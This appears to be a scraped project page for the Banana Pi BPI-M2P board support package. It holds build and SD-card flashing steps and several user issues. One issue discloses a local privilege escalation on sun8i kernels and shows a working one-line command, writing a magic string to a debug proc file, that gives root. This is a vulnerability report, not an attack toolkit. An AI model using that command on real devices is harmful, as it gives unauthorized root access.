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bpi-m2p-bsp's Introduction

BPI-M2P-bsp

Getting Started

  1. Choose a board doing: ./build.sh,

  2. Choose a board doing

"This tool supports the following BPI board(s):"

************************************************"

1. BPI-M2P-720P"

2. BPI-M2P-1080P"

3. BPI-M2P-USB-720P"

4. BPI-M2P-USB-1080P"

*************************************************"

BPI-M2P SD Card Info

Step 1.To be on safe side erase the first part of your SD Card (also clears the partition table).

   sudo  dd if=/dev/zero of=${card} bs=1M count=1

Step 2.Go to folder "Download", put the file(s) to 100MB of the SD Card with DD command.

sudo dd if=boot0_sdcard.fex     of=${card} bs=1k seek=8

sudo dd if=u-boot.fex 	        of=${card} bs=1k seek=16400

sudo dd if=sunxi_mbr.fex    of=${card} bs=1k seek=20480

sudo dd if=boot-resource.fex    of=${card} bs=1k seek=36864

sudo dd if=env.fex          of=${card} bs=1k seek=69632

Overview

ref. from https://github.com/loboris/OrangePI-Kernel.git Thanks Boris Lovosevic

You may go to http://www.banana-pi.org to download Ubuntu15.10 images and burn them into the Sdcard to see the architecture.

bpi-m2p-bsp's People

Contributors

bpi-sinovoip avatar dangku avatar

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bpi-m2p-bsp's Issues

build error

arch/arm/mach-sunxi/power/brom/gen_check_code: 1: arch/arm/mach-sunxi/power/brom/gen_check_code: Syntax error: end of file unexpected (expecting ")")
make[4]: *** [arch/arm/mach-sunxi/power/brom/resumes.code] Error 2
make[3]: *** [arch/arm/mach-sunxi/power/brom/resumes.code] Error 2
make[2]: *** [arch/arm/mach-sunxi/power] Error 2
make[1]: *** [arch/arm/mach-sunxi] Error 2
make[1]: *** Waiting for unfinished jobs....
make[1]: Leaving directory `/home/user/BPI-M2P-bsp/linux-sunxi'
make: *** [kernel] Error 2

Wrong [dram_para] section / DRAM settings?

According to your fex file [dram_para] seems to be copy&paste from Orange Pi settings you took over from Boris Lovosevic when using his kernel sources, right?

Are these settings by mistake or by design (correctly describing DRAM type and trace routing on your hardware)? Since when using lima-memtester to check for DRAM reliability testing the test fails at 624 MHz and DRAM clockspeed has to be further reduced to 600MHz to pass (two reports from different boards)

Local privileges escalation on sun8i

Please check and fix

tk@bananapim3:~$ id
uid=1000(tk) gid=1000(tk) groups=1000(tk),20(dialout),27(sudo),29(audio),44(video),46(plugdev),108(netdev)
tk@bananapim3:~$ echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug 
tk@bananapim3:~$ id
uid=0(root) gid=0(root) groups=0(root),20(dialout),27(sudo),29(audio),44(video),46(plugdev),108(netdev),1000(tk)

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